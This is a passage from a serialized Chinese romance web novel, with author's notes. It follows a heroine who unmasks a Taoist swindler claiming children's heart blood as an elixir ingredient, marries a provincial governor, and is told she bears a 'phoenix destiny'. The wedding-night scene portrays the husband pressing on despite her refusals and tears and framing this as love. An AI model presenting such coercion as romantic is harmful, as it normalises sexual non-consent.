惋叹过后,各家迅速转而务实。既已成定局,不如及早筹谋,若能得未来巡抚夫人青眼,于家族前程自是大有裨益。 于是纷纷暗中探听孟清辞的性情喜好,得知她近日常往青云观中去,痴迷道法丹术,便皆动了心思。 各家或备道家典籍、灵丹妙药为礼、引荐擅长炼丹的道士,或效仿朱家大小姐,精心安排“偶遇”于青云观中。只望能抢先一步,攀附上这位巡抚大人的新妇。 这日,曾被傅珩敲打过的程家,特地让程大奶奶带着一位号称擅长炼丹的道士,前往青云观“偶遇”孟清辞。 程大奶奶一见面便极力推崇,恨不得将这道士说得天上有地下无:“姑娘有所不知,陈道长持有一卷炼丹秘术,非但可令人容颜永驻,更传闻中有起死回生之奇效。” 孟清辞似是极感兴趣,含笑聆听,闻言也很给面子地应声道:“哦?世间竟还有如此玄妙的道法?若得方便,不如与我细说一二。若果真如您所言,这般仙丹妙药,自然该先献予我家大人才是。” 她心中暗自冷笑:这道士生得一副尖嘴猴腮的模样,目光闪烁不定,怎么看都不像是个正经修行的。她倒要瞧瞧,这人究竟能编出什么天花乱坠的谎来。 陈道士年约四十,面皮微黄,身形细瘦,一袭青灰色道袍更衬得他颇有几分出世之姿。他半眯着眼,一手持拂尘,一手慢捋山羊胡,俨然一副世外高人的模样,口中却谦逊道:“贫道乃方外之人,虚名于我如浮云,皆不过是世人误传罢了。” 孟清辞不疾不徐地端起茶盏,姿态娴雅地轻啜一口,她端着架子,并不吃陈道士这套。 外人皆道她潜心道法、痴迷炼丹,却不知她骨子里根本不信这些玄虚之事。她寻道士炼丹,另有一番谋算,与炼丹本身并无多大干系。这道士若想与她摆谱,真是打错了算盘。 一旁的程大奶奶却有些按捺不住,忙出声催促:“道长何必过谦?若您的丹药能得巡抚大人青睐,那便是造福闽广百姓的一桩大功德啊!” 陈道士闻言似有心动,手中拂尘微微一扬,缓声道:“既与姑娘有缘,贫道便也不再推辞。此丹方乃是我师祖于终南山洞府中悟得,历来为我门中秘传,从不轻易示人。” 他语气渐沉,面露凝重:“若要炼成此丹,非但需集齐世间罕有的灵药仙草,更需两味特殊药引,丹道玄奥,差之毫厘,谬以千里,缺一不可。” 这些日子,孟清辞已见过不少声称会炼丹的道士,大多都是如此一套话故弄玄虚。她以团扇半遮娇容,唯露一双美眸微弯,似笑非笑:“不知炼丹都需哪些灵药仙草?道长不妨细说。” 陈道士原已备好说辞,只待对方如常人一般急切追问那两味药引,却不料这小妇人竟不按常理问,径是问起药材明细—— 作者有话说:孟清辞:想娶我,早干什么了 傅珩:骗我也行,我也爽 作者:不分两章了,都在一章发,一小时最多写一千字,感谢催我,每周有一天力竭,我尽力补。[比心][猫爪] 第43章 第 43 章 贵不可言 陈道长一时语塞, 顿了片刻,拂尘一摆,端足架势道:“以巡抚大人之能, 灵药仙草自然不在话下。只两位特殊药引, 寻常不可得,贫道云游数十载, 亦不过偶得一二。” 不待孟清辞接话,程大奶奶便抢先笑道:“寻常人自是能力有限, 可巡抚大人是什么身份?那可是咱们闽广的天!有什么是巡抚大人办不到的?道长您就别卖关子了,但说无妨。” 程大奶奶以绢帕轻掩唇角,掩饰着那一丝若有若无的讥诮。人人都道巡抚大人即将迎娶的这位新妇, 原是他侄女身边的婢女,出身卑微,偏又痴迷金银之物。终日只知华服美饰, 贪慕虚荣,对外说得冠冕堂皇,实则是巧取豪夺了朱家的产业, 令偌大一个朱氏顷刻间凋零败落。 奈何,巡抚大人对这女子痴恋纵容昏了头,不过因为一点微末小事, 便要敲打程家。她那五弟妹新寡不久, 就被送回了娘家;娘家知她得罪了巡抚府, 亦不敢留她, 不顾她新寡, 没过几日就将她远嫁给一个年迈的富商做填房。 说到底,不过是男人的通病罢了。这位巡抚大人已近而立之年,向来不近女色, 如今偶然沾上个略有姿色的女子,便如久旱逢霖,欲罢不能,沉溺不可自|拔,失了分寸。 她原以为这女子总该有几分心机手段,谁料到竟是个连话音轻重都听不明白的,徒有一张出尘绝俗的脸。果然老天公允,予人三分颜色,便不再赐予十分机变。 这么一想,程大奶奶心头对孟清辞的鄙夷又深了几分。她堂堂程家大奶奶,如今竟得向这么个黄毛丫头低头讨好,真是越想越不是滋味。 连日来墨松忙于操办婚宴诸事,护送孟清辞出门的差事便交给了墨白。此刻墨白静立凉亭之外,目光如刃,只听得片刻就已断定,眼前这什么狗屁的陈道士,不过又是个欺世盗名之徒。 要说,孟姑娘起初道青云观,只是来听观里讲经论道,不知何时起,竟痴迷上了丹鼎之术。这些日子以来,见了不少的道士,这些道士,多半是闻风而来,想要投孟姑娘所好,企图从孟姑娘这里捞些好处的江湖骗子。 墨白心中不由对这些道士生出十分的厌恶来。 听墨松说,孟姑娘非是寻常女子,叫墨白用心伺候,可墨白看来,与那些寻常迷信妇人并无二致。 须知主子一向推崇心学,讲的是明心见性、格物致知,岂是叫人沉溺于虚无缥缈的炼丹术?孟姑娘这般行事,实在与主子的主张背道而驰。 像主子这般惊才绝艳的人物,合该配一位贤德才慧的世家女子才是。偏偏主子就对这位孟姑娘倾心不已。墨白虽心有不平,却丝毫不敢表露,只将一切思绪压于心底。 孟清辞纤指轻捻,漫不经心地抚过缂丝团扇上的细密纹路。她眼波微转,唇角漾起一抹似有若无的浅笑,轻声附和道:“诚如道长所言,若真能得此奇效,再难又何妨!” 程大奶奶见孟清辞手里的团扇,穗子上缀着的浅粉珍珠穗子,颗颗大小均匀,在光下流转着淡淡虹彩。这般品相的一柄团扇,说是能抵得过百两白金,也不为过。 她不由得再次暗自咋舌,巡抚大人对这女子的宠爱至极。看来这位陈道长此番必能捞得盆满钵满,而程家,怕也要借此东风,攀上巡抚大人这棵高枝了。 陈道长微微一笑,衣袂飘然,颇有几分仙风道骨。他缓缓说道:“说来,这两味药引之中,千金一物于寻常人自是难求,但对巡抚大人而言,却不算什么。唯独另一味,须看机缘,非有缘之人不可得。” 孟清辞听他说起“千金”,神色了然地轻笑,不以为意道:“千金不过小事,何须惊动巡抚大人。还请道长明示,那另一味药引究竟为何?” 陈道长这才肃容答道:“若要炼就此丹,需取十对阴年阴月出生的童男童女,以心头血为引。若非天意成全,此物极难凑齐。” 程大奶奶闻言微微蹙眉,这说法,与他们先前约定之言并不相同,不禁埋怨这牛鼻子老道,又听要孩童的心头血,心下隐隐不安。 亭外的墨白指节发白,无声握紧刀柄,心头凛然:这分明是个妖道!只孟清辞不吩咐,他不能擅自妄动。 霞光听得脊背发寒,只觉得此事残忍至极。她悄悄扶住孟清辞的手臂,欲作提醒。 孟清辞却恍若未觉,反而眼中漾起好奇之色,含笑问道:“这般药引,果然须看缘分。不过方才听道长言下之意,您曾因缘际会偶得一二,不知是否已炼成灵丹?可否让我这凡俗之辈开开眼界?若果真灵验,我定尊道长为座上贵宾,引荐于我家大人。” 陈道长见孟清辞,果然如自己所料一般,一步步上了钩,心底哂笑:这世间果然没有人能抵挡青春永驻的诱惑。 这女子年纪虽轻,倒会装模作样,当他看不出来么,她口口声说是为巡抚大人求药,实则是拿巡抚大人做幌子,不过是为了一己私欲,贪图他的灵丹罢了。 陈道长故作为难,沉吟片刻才道:“此乃本门秘传之宝,向来不示与外人。不过嘛,今日得遇姑娘,便是与贫道有机缘,皆是天意,不可违逆。” 孟清辞眸中微亮,语气略显急切问道:“那便请叫我等开开眼罢。” 见目的已达,陈道长不再啰嗦,于袖中拿出一方巴掌大的锦盒,其上绣纹繁复,隐隐透着几分神秘。 孟清辞示意霞光上前接过。霞光一想到盒内是以童男童女心头血炼就的丹丸,心肝儿都吓得颤抖,却只能听命,将锦盒轻放在孟清辞面前的石桌上。 程家乃江南豪商,程大奶奶自是见多识广。她强自定神,却仍压不住心中好奇,目光不由自主地向那锦盒投去,欲窥其中究竟。暗想,这丹药果真能叫人容颜永驻?起死回生不成? 孟清辞目光落在那锦盒上,脸色骤然转冷,那双眼眸本如春水含烟,此刻却骤然凝起冰棱,厉声喝道:“墨白!还不将这妖言惑众的妖道拿下!” 墨白虽觉意外,动作却毫无迟疑,应声而动,一步踏入亭内,将陈老道反剪双手牢牢制住,迅速以绳索缚紧,强压着他跪倒在地。 这一声断喝犹如惊雷,程大奶奶被吓得浑身一颤,抚着心口面色发白,犹未定神。 陈老道挣扎着连声喊冤:“姑娘既是有缘之人,欲求灵药,贫道自当奉上,何故反诬贫道,强夺丹药?” 程大奶奶也稳了稳心神,轻声附和:“是啊,姑娘何必与方外之人为难?” 孟清辞冷眼扫过程大奶奶,眼中尽是不屑。她手中团扇虚点石桌上的锦盒,声音冰寒,对墨白吩咐道: “将他押送知府大牢,严加审讯——师承何门、同伙几人、现匿何处、以心头血炼丹几回、孩童从何而来、如何得手、尚有谁人参与?若嘴硬不招,半个时辰断一指,指尽则断趾;叫狱吏手底下利索些,别让他轻易死了。待查清所有罪状,一干人等同赴菜市口问斩,以正视听。” 她语声微顿,复又凛然道:“也好叫百姓知晓,大人弘扬心学,为的是明理启智,绝非助长此等愚昧泯灭人性之风!” 陈老道闻言,吓得险些失溺,他万没料到这年轻姑娘竟会骤然翻脸,手段更是如此狠厉。情急之下,他慌忙喊道:“误会!全是误会啊!姑娘听贫道解释!贫道那些所谓丹药,其实都是……”假的 墨白拱手凛然应命,根本不待那老道把话说完,当即召来随行近卫,一把堵了他的嘴,利落地将其拖了下去。 程大奶奶端坐在孟清辞对面,已是骇得面无人色,手指一颤,绢帕无声飘落于地。她原以为这女子年纪尚轻,不过是倚仗巡抚大人的宠爱才这般狐假虎威,实则金玉其外,内里草包,最好拿捏不过。 谁曾想,这竟是个深藏不露、扮猪吃虎的狠角色。就连她自个儿执掌程家中馈这些年,发落过几个不守规矩的奴婢,也从未似孟姑娘这般,面不改色就道出种种酷刑处置,字字森寒,令人心悸齿冷。 程大奶奶不可置信,巡抚大人当真喜欢此女?看着似一朵含露牡丹,娇艳不可方物,可那温婉表相之下,藏的却是笑里藏刀、吞骨噬心不见血的厉害角色。 她喉头微动,竟一时不敢轻易出声,唯恐一句失言便惹火上身。暗道一句:今日真是马屁拍在了马腿上,莫要连累了程家,真是阿弥陀佛了。 孟清辞眨着似笑非笑的两弯眸,仍旧摆着那价值不菲的团扇,像是看穿了程大奶奶的心思:“不知道程家特意引荐这妖道,究竟是何用意?我本想着,程五奶奶的事情,我给足了程家面子,不料程家竟以怨报德?” 她声音轻柔,字字却如冰针刺骨:“又或是,程家不乐见我嫁入巡抚府,用这妖道泼我一身脏水,才想借此,将我传成不仁不慈的残暴毒妇?又或者……” 她话音微顿,眸光倏然转厉:“程家本就不是冲着我来的,而是意图借我之手,想要玷污我家大人的清名?” 此话无异于说程家对巡抚大人有异心,程大奶奶吓得身子一软,竟从石凳上滑跌下来,也顾不得体面,径直跪伏于地,颤声急辩:“姑娘明鉴!程家也是受那妖道蒙蔽,怎知他包藏如此祸心!若早知晓,断不敢将他引至姑娘面前啊!” “连个妖道都辨不分明。”孟清辞轻嗤一声,语气里尽是讥讽,“大人今后还如何倚重程家?此次便作罢了,不将你程家视作同党。退下吧。” 程大奶奶再不敢多置一词,慌忙叩首道:“谢姑娘高抬贵手,谢姑娘大恩,程家日后定然谨言慎行,绝不敢再行差踏错。” 侍立一旁的霞光早已按捺不住,此刻上前一步,厉声斥道:“既得了姑娘宽宥,还不快滚?留在这儿,没得玷污了青云观的清静地!”这些时日以来,所谓被引荐来的道士十有八九皆是骗子,而今日这妖道尤为残忍阴毒,在她看来,将其引荐而来的程家也绝非善类。 程大奶奶喏喏连声,半分不敢反驳,由贴身婢女颤巍巍搀扶着,脚步踉跄地退了下去。 霞光看着程大奶奶远去的背影,尤不解恨:“姑娘真是好性儿,轻易饶了程家。” 孟清辞指尖轻抚过团扇细腻的缂丝纹路,唇角弯起一抹浅淡的弧度:“程家有这个胆子,你主子自然不会轻饶了他们,何必我来费这个心。” 她垂首轻抚小腹,神色淡然沉静,唇角含着一丝若有若无的笑:“我还要给我肚子里这个,积福呢。” 青云观主玄明真人不知何时已悄然立于亭外,手持拂尘,翩然一礼,含笑道:“福生无量天尊。姑娘仁心蕙质,此番乃是替天行道。” 孟清辞曾听过玄明真人讲道,知他于哲理心学颇有真悟,算是个有根底的人物,便也客客气气起身福了一礼,道:“真人谬赞了。我虽学问浅薄,却也连听了真人几日讲道,起死回生、倒行逆施之事,实属无稽之谈。那妖道若只是想要骗财倒也罢了,他竟敢以幼童性命为戏,实在天理难容。不过我是个俗人,怕是不能得道,只知用些粗鄙手段,以暴制暴。” 玄明真人摆摆手,一派仙风道骨和煦:“姑娘不必妄自菲薄,姑娘德配天地,慈心济物,积德累功。巡抚大人得遇姑娘,实是缘契大道,福泽深厚,泽佑闽广百姓,非世间俗缘可比,乃天道善应、自然成全之果也。” 孟清辞闻言浅笑,手中团扇轻曳:“真人过誉了,不过日行一善,随手为之罢了。” 玄明真人含笑颔首,眼中透出赞许之色:“姑娘于丹道一途见解非凡,贫道倒是可为姑娘引荐一位道友,或可为姑娘引此缘法,或能相与论道,彼此裨益。” 他细观此女命格,竟见凤翔九天之象,贵不可言,更与巡抚大人星曜相合,气运交织,实为相辅相成之兆。心下不由暗叹:傅珩能得此良配,实乃天命所归,运势相济。 孟清辞含笑敛衽:“那便有劳真人费心了。”心中却道:玄明真人素来持重,他所引荐之人,想必也定非庸常。 墨白闻言,唇角几不可察地微微一抽,目光在玄明真人身上停留片刻,心下暗忖:也不知这牛鼻子老道此番又打的什么主意。只是他与主子交情匪浅,自己倒也不便多言。 婚期渐近,孟清辞才辗转得知,安义侯傅继宗的死讯早已传至闽州,却被傅珩悄然压下。他更是去信与大老爷傅承怀,让大老爷待他们完婚满一月后,再护送安义候傅继宗的灵柩南归。 闻得此事,孟清辞一时怔然,继而摇头轻笑——这傅家行事之荒唐悖常,她当真未曾见过。不知内情的,怕要以为他们非是一脉同枝的兄弟,而是什么不共戴天的仇雠。 且说孟清辞与傅珩两人的婚仪,需由族里德高望重的长辈出面主持。 直至见傅逸贤的大儿媳前来主持,孟清辞才知道,萧老太夫人自那日从她院子回去后,人便彻底瘫了。 那日后,孟清辞再懒得过问此事,她连傅珩都不放在心上,在她眼里,傅珩的族人亲戚更是无关紧要的过眼云烟。她院子里的仆婢更是无人敢和她提起,傅珩那日都是如何处置的。 两人都无长辈,婚仪并不复杂,傅珩更怕孟清辞劳累,将婚仪一概简化,只余催妆、出阁、传习、跨鞍,之后便是两人的交拜礼,堂上摆着傅珩祖父母和父亲的牌位,待得礼成,便送入洞房。 傅氏后宅的女眷皆识得孟清辞,平辈中人大多同她交好,又有萧太夫人的前车之鉴,更是没有敢给她摆脸色寻晦气,一众大姑娘、小媳妇,待她反倒愈发亲近周到,言语行动间,尽是奉迎与热络。 更有促狭的打趣她:“瞧瞧咱们新娘子,这一打扮真是漂亮,险些叫我都认不出来了。” 立刻有人接话:“是啊,从前咱们便是说,日后哪个有福气能娶了她做媳妇,不成想,还是三堂哥最有福气,怪道从前他谁也瞧不上,原是要讨个天仙一样的媳妇。” 又有人戏谑调笑道:“要怪只怪咱们都是那榆木疙瘩,看一个懂三爷的心思的。” 孟清辞原本是应付傅珩,对这场婚事并无多少实感,此时也叫她们你一言我一语说得耳根发热,羞臊起来,幸好她端着喜扇挡在面前,遮住她飞霞的玉面。 一群人正闹着,门外忽传来小丫鬟清亮的通禀:“三爷来了。” 一屋子女眷听闻,顿时你推我搡笑作一团,纷纷朝门口望去,打趣道:“呦,新郎官等不及入洞房了!” 又有胆大的调侃道:“三叔快瞧瞧,三婶娘羞得不肯见人啦!” “老三,还不快来好好哄一哄你家新媳妇!没得一会害羞得不与你喝合卺酒了!” 傅珩今日心情极佳,比他金榜题名时心情更为激荡,直觉心下异常畅快。遂面对众人的调侃打趣,他非但不恼,唇角反而始终噙着一抹清浅温和的笑意。 他朝一众女眷拱手道:“今日有劳各位嫂嫂、妹妹,悉心照料新妇,珩在此谢过。” 他这话有引来一众女眷掩唇娇笑。他向来积威深重、不苟言笑,何时见他如此,都极有眼色的不再为难他,只纷纷笑着催促他:“快快行合卺礼罢,可莫叫新娘子等急了,再恼了你。” 有人接口道:“新娘子才不是恼了,她这会儿啊,分明是羞得不敢见咱们,想不到她也有今日。” 这话又招来一阵低笑,有人打趣道:“你今日这般笑她,看她来日不收拾你。” 那女子却扬眉一笑:“哼,那我也认了,过了今日,她做了我三婶娘,在没有促狭她的机会了。” 孟清辞一阵无言,不想她和傅珩的婚仪,竟是如此热热闹闹、欢欢喜喜的场面,连带她的不情愿都驱散了几分。 直到在众人的见证下,两人行完合卺礼,又有全福人的堂嫂为两人撒帐,念诵吉语,便见红枣桂圆落得满婚床。 笑语喧哗此起彼伏,又是一阵嬉闹,众人方才心满意足地陆续辞去。 一时间喜房内只剩两人,并肩坐于床榻边,粗壮的龙凤大红喜烛。映照满室的红绸。 傅珩抬手,修长的手指,缓地探入她鬓间,细致地为她卸下那顶沉重的凤冠,嗓音轻柔道:“累了罢?今日辛苦你了。”—— 作者有话说:傅珩:从此我有媳妇了 孟清辞:呵呵 第44章 第 44 章 洞房花烛 孟清辞凝望着傅珩一身大红圆领缂丝喜服, 烛影摇红,大红喜服上的宝相花纹若隐若现,衣领、袖口、袖口皆用金线绣四合如意纹, 腰间金玉革带熠熠生辉, 更衬得他丰神挺秀、清逸如玉,堪谓朗朗如月、芝兰在庭。 他细长的眼眸中流转着似水柔情, 若不是知晓他藏在温柔表象下,对自己做局、种香的种种手段, 她只怕要溺毙在这双温情脉脉凝视自己的多情眸里。 孟清辞的心口蓦地一颤,悸动如潮袭来。心跳声在耳际轰鸣,恰似春冰乍裂时雪水下奔涌的暗流, 无声却湍急,倏忽漫过她严防的心防。 此时,一个久被尘封的名字再度浮现——顾聿琛。看着眼前的傅珩, 顾聿琛的眉目竟已模糊,似乎与她彻底割断。不知何时,记忆里, 顾聿琛的眉目竟已模糊不清。 孟清辞不知道是不是自己在这异世里孤寂挣扎太久,令她竟然贪恋傅珩片刻的温存,还是早已习惯被他精心驯养。 这不由自控的心动, 带来无尽恐慌, 宛若一只无形之手要攫住她的灵魂, 这正是傅珩的可怕之处, 正是傅珩最令人窒息之处:他那近乎扭曲的的掌控与偏执, 将她困于囹圄,令她感到窒息。 傅珩没有错过孟清辞眼中一闪而逝的痴妄。,他拇指重重压上她朱唇, 那一点柔软湿润骤然灼烧他的指腹。 他情难自禁地摩挲,感受着她细微的颤栗,随即情难自抑地叩开她的齿关。 一股近乎癫狂的喜意在他胸腔中翻涌、肆虐,几乎要破体而出,将他所有的克制焚烧殆尽。 孟清辞有些狼狈地偏头避开,眼睫轻颤,露出一段纤细脆弱的脖颈,耳垂微烫,低声嗔道:“你还不快去前面宴客?” 除床榻之间意乱情迷,傅珩何曾见过孟清辞这般羞怯情状,他喉间不由得溢出一声沉沉的轻笑。 傅珩执起她那如笋尖般纤柔白皙的手,压在薄唇上,声音低哑似耳语:“夫人少待,为夫去去便回。” 语罢,傅珩广袖轻扬,指尖似有若无地拂过袍襟,旋即起身迈步。行至门前,对垂首恭立在房门外的霞光吩咐道:“好好伺候你们夫人。” 霞光忙敛身应下,不敢有丝毫怠慢。 可算没了外人,孟清辞长长呼出一口气,她信手将那柄执了许久的团扇掷在一旁,挺得笔直的背脊倏然一软,轻轻靠向身后繁复雕花的床架。 她抬手于云鬓间,略显急躁地拔|下那支沉甸甸的金钗,便随手一抛。金钗落在铺满红枣桂圆的大红喜褥上,无声地陷进一片鲜艳软绵之中。 霞光轻移莲步,端着红漆托盘进来,上头摆着一盏温热的燕窝粥并几样精巧点心。她近前搀起孟清辞:“夫人且用些吃食再歇息罢。” 孟清辞倦极,只叹道:“快叫他们把床铺收拾出来,再备好热水,我要沐浴。” 霞光见她眉眼间尽是倦色,心下了然,一面伺候她略用了些粥点,一面吩咐小丫鬟们速将屋内拾掇齐整。 孟清辞勉强用了半碗粥,便推开盏碗,起身将身上繁复的喜服脱下,随手抛在浴间的云母屏风上,囫囵沐浴后,穿着件朱红薄纱中衣,便径自走向床榻。 霞光欲言又止道:“今儿是大喜的日子,夫人不等主子回来?” 孟清辞蹙眉,没好气的应付一句:“我等得,只怕我肚子里这个也等不得。” 霞光知她今日辛苦,只体贴地将房内烛火拨暗,又为她轻轻放下床帐,这才悄步退至门外廊下守着。 京畿安义侯府内,冷月清辉漫过窗棂。 今日是他三叔和晴儿大婚的日子,傅晏桉独自在书房,一身青色官袍上绣着白鹇补子,腰间素银带銙映出幽微冷光。他手中直一只白玉酒壶,身形伏于案间,清癯面容半掩在阴影里,愈发显得冰冷阴郁。 他修长指节,缓缓抚过桌案上一幅细腻的美人图,指尖依次勾勒过那画中人精致绝尘的眉目、鼻梁,最终停留在朱唇之处。他低哑一笑,声如寒冰碎玉:“……你好狠的心呐。” “你竟然选他,不选我?”随后他蓦地仰首,就着壶嘴连饮数口。琥珀酒液顺着傅晏桉唇角滑落,沿下颌一路蜿蜒,浸入衣襟。他重重将酒壶顿在案上,发出一声闷响,继而冷笑:“你休想就这样轻易摆脱我。” 且说那日他被刑部叫走,一走便是几日,待他料理完公务,回来早不见晴儿的踪影,便知道是他三叔故意将他支开。 怪道三叔频频催他成婚,原是打的这个主意,他三叔真是藏得深,明知道晴儿是他的人,却还要与他争,他齿间沁出冷意,眼底却燃起暗火。这般的“照拂”,真是他的好三叔呐,当真教他刻骨铭心。 傅晏桉齿关紧咬,一股腥甜的铁锈气漫上舌尖。三叔竟然娶晴儿为妻,三叔竟然娶她做正妻。 这般珍重,这般的名分,晴儿想必是心甘情愿的吧?若是当初他他不起逼迫她的心思,不曾步步紧逼,她是不是已经是他的妻子了? 旧日种种,如走马灯般掠过傅晏桉眼前:她幼时初入侯府,躲在无人处,哭的可怜模样,像只无处依傍的幼雀;她在妹妹院子里养出了几分圆润的模样,她第一次跳舞的模样,她对自己甜甜一笑的样子,还都历历在目 悔恨如毒藤缠缚肺腑,绞得傅晏桉几乎喘不过气。 安义侯府深处,佛堂内烛火昏沉。香案上积着厚厚的灰,佛像半掩于阴影之中,目光低垂,似是悲悯众生。 申嬷嬷看着老夫人王氏,跪在蒲团上的那道佝偻的身影,鬓发如霜,身形枯槁,丝毫没有昔日的嚣张跋扈。 申嬷嬷又看一眼,一口未动的饭食,她一贯死板的声线此刻却透出几分诡异的轻快:“老夫人,今日是三爷大喜的日子,府中上下皆沾喜气。您这个做母亲的也沾沾喜气罢。” 佛堂唯闻烛芯偶尔爆开的细微噼啪声,诡异的寂静后,只听老夫人王氏发出一阵嘶哑的“桀桀”怪笑。 那笑声干涩的像是枯枝刮过窗棂,在空寂的堂里,显得格外瘆人:“杀害亲兄,残害侄儿,如今和老太爷一样娶个婢女为妻。”她猛地抬起头,浑浊的老眼里迸射出骇人的恨意“老太太真是给我教出了一个好儿子!” 申嬷嬷不为所动,语调麻木:“三爷不过是为侯府剜去腐肉,是在为傅氏剔骨疗毒。老夫人还是想开些。” “腐肉?!”老夫人王氏像是被这句话彻底刺激到,她骤然狂躁地转过身来,枯槁的手指死死攥住蒲团的边缘,嘶声力竭地吼道:“我的继宗他不是腐肉!他不是!真一位我老糊涂了,什么都不知道么?不知道他们兄弟在谋划什么?他们兄弟献祭了我的继宗!他们父子不是腐肉!他们是我的心肝肉!是我的命!” 申嬷嬷居高临下,麻木不仁的垂眼看着老太太王氏,心里确实痛快,讥诮道:“老夫人现在知道,当年老太太丧子的时候有多疼了罢。” 言罢,申嬷嬷再不看王氏,转身出了佛堂。将王氏那嘶哑的哭嚎声,与无尽的怨恨,彻底隔绝在沉重的门扉之里。 唯有那尊佛像静默于暗影中,悲悯垂眸,似是无声凝视王氏一世无法超脱的业障与荒唐。 闽州巡抚府,廊下高悬的绛纱灯笼映出双喜纹样,夜风拂过,灯影绰绰,漾开一片朦胧红光。 傅珩今日难得多喝了两杯酒,筵席散后,便已步履生风般疾步迈向喜房,微醺的酒意漫上心头,到让他领略《四喜诗》‘久旱逢甘霖,他乡遇故知,洞房花烛夜,金榜题名时’的真谛来。(引用四喜诗出自《增广贤文》) 孟清辞今日累极,甫一沾了枕头便沉沉睡着,梦里辗转反侧,叫傅珩一双作乱的手吵醒。 孟清辞今日累极,甫一沾了枕头,便陷入沉酣。奈何梦中辗转不安,恍惚间只觉得一双温热的手游移作乱,她不胜其扰的睁眼,对上傅珩一双幽深如墨的眸子。 他衣襟散开,露出紧实胸膛,孟清辞尚未缓过神,只觉得被他拿捏要紧处,她骤然一惊,抬手攥住他微湿的发丝,没好气地拽了一下:“你是不是疯了?忘了我还怀着身子?” “放心,我已问过张合,过了三月已无碍。”傅珩轻笑一声,只觉得她这般推拒的小动作也亲昵得惹人怜爱,他抚了抚她的鬓发。 俯身靠近,灼人的气息拂过她耳畔,一字一句带着不容拒绝的温柔:“今夜是你我的洞房花烛,良辰美景,为夫岂能让夫人虚度?” 孟清辞哪里肯依他,慌忙向后缩去,素手急急按在他坚实滚烫的胸膛上,用力推搡他。却不料叫这厮找到机会,霸道的占有一席之地。 听到不争气的羞人声音,想到他修长的如竹的食指曲直间的作弄。 孟清辞羞耻的偏过头,眼尾泛红,春意悄然爬上脸颊,绽放的愈加艳丽,嗓音如丝如媚的发颤:“我怕。” 傅珩攥住她的脚踝,细长眼眸中的波澜犹如深渊,他问:“怕什么?怕你已经原谅我?” 他早已对她了如指掌,趁她心绪凌乱,卑鄙的得寸进尺,攫住她不放开,想要侵占她的全部的心神,像是要吞噬她的神魂。 见她红唇微张,难耐啜泣,又娇又媚,毫无招架的模样,他满意的在她唇角落下一吻,轻声问:“还是怕,你对我已经动了心?” 傅珩怜惜的抚过她的娇颜:“清辞,感觉到了吗?喜欢我没那么难。” “不”孟清辞咬着红唇,她想那一定是因为种香的缘故。 傅珩极尽温柔的吻她的唇角,敏感的耳垂,像是哄闹脾气的小姑娘:“你不是都猜知道了,你怀了孩子,便不再受种香的影响了。” 孟清辞不甘心的偏过头,她像是被他掌握了喜怒,他要她喜便喜,他叫她难受便难受,却没有看见傅珩严重一闪而逝的晦涩。 傅珩细细的吻她,吻遍每一处。 直到,孟清辞眉目圆睁,不敢可置信的细弱惊呼:“不”余音嗓音卡在喉咙,再也发不出来。 傅珩将孟清辞揽在怀里,孟清辞背对着他,无声轻啜,肩头微微颤动,仍不能回韵,无法接受刚才的一切。 傅珩的手掌宽厚温热,一下下地、极有耐心地抚过她的脊背,轻声开导:“别怕,你只是太过欢愉,为夫很喜欢。” 孟清辞穿越前追她的人不少,却哪个也不敢对她造次。顾聿琛虽然纵容她,却从来与她保持距离。 何曾见过傅珩这般厚颜无耻之徒!她被他一番浑话噎得气结,打了个哭隔儿,呜咽骂道:“你…你不要脸!你怎么能……怎能如此……你下流!” “哪个男人遇见你,也君子不起来。”傅珩叹一声:“看在我勤恳伺候夫人,夫人也疼疼为夫罢。” 说着牵着她的手握着自己,孟清辞直觉更难受了,她本就孕中情绪敏感,当下眼泪流的更凶了,捶打傅珩胸膛。 翌日清晨,孟清辞悠悠转醒,早不见傅珩身影。 待她梳洗用罢早膳,霞光回禀道:“昨日宾客的礼单,主子吩咐送来了,请您过目。主子交代,各府送来的贺礼一概随夫人处置。” 霞光顿了顿,奉上一份精致的礼帖并一封书信:“这一份是大小姐特意送来的,还有一封给您的信。”—— 作者有话说:孟清辞:你就继续骗我 傅珩:还不是你不爱我 第45章 第 45 章 清贵倜傥 孟清辞孟清辞接过那封信, 夹在两指间随意翻转,漾起一抹浅笑:“还唤大小姐呢,如今该称太子妃了。” 霞光抬手轻拍前额, 恍然笑道:“正是呢!瞧奴婢这记性。”见孟清辞又将信随意扔在桌上, 霞光见状,疑惑问:“夫人不打开瞧瞧么?” “她想说的, 无非那些,没意思的很。”孟清辞又漫不经心的翻看了下昨日婚宴的礼单, 便将那册子往案上一搁,淡淡道:“依例造册,收入库房便是。” 且说, 孟清辞与傅珩成婚之后,仍常往青云观中去,或静坐听道, 或论炼丹,傅珩只当她是去散心,并未放在心上。 如是匆匆一月有余, 这日傅珩稍得闲暇,亲自前往青云观去接孟清辞。 玄明真人与傅珩相交已久,见了傅珩, 忽觉其气色渊沉、神光内蕴, 不觉凝神细观其面, 垂眸屈指, 仔细推演, 片刻后沉声道:“奇哉,今日一观,紫微帝星之光已渐隐, 晦暗不明。然主公大运将至,可见天枢已转。” 傅珩对玄明真人的术法素来信服,闻言微微一怔,傅珩略讶异问道:“此话当真?可真人上次分明要我徐徐图之,切莫操之过急!言冥冥之中,必有贵人相助,让我静待时机便可。” 玄明真人目光如照彻霄汉,唇角含笑,似已窥测天机,缓声道:“天命已现,凤格临世。得此贵人者,江山不过是主公的掌中之物。贫道观尊夫人乃是凤命,便是主公命中的天道之助。” 傅珩闻言神色骤凝,不想自己等的机缘竟是自己的夫人,他眸光倏然一深,好似寒潭坠石,一时惊起千层无声波澜。 玄明真人拂尘轻扬,又笑说道:“贫道观尊夫人,心有丘壑,聪慧机敏,目藏慧光,胸中自有山河经纬,所见皆非凡俗之境。这般格局气度,亦非寻常女子可比,主公有此贤妻扶助,实乃天赐良缘,福缘深厚。” 傅珩却是心下疑惑,蹙眉凝思,沉吟道:“除了命数之说,未见夫人有何殊异之能,她不过一弱女子,如何能与天下大势相系?” 玄明真人拈须,高深莫测神秘一笑:“造化玄机,天机不可泄露。” 傅珩心知再问无益,不欲与玄明真人多言,正欲转身去寻孟清辞。 却听玄明真人在身后忽又轻笑一声,语带戏谑道:“贫道观主公红鸾星动,却神藏郁色、气结中庭,莫非主公至今,尚未能与夫人心意相通?” 傅珩见他一副为老不尊、幸灾乐祸的模样,冷眼扫去,淡声道:“我与她感情甚笃,要你多管闲事!” 玄冥真人望着傅珩远去的身影,唇角噙着似笑非笑的弧度,矍铄的眼中似有星轨流转,捋须呵笑不语。 傅珩还未踏入炼丹房,便听得里头一声雀跃高呼:“成了!成了!夫人真乃神人也!” 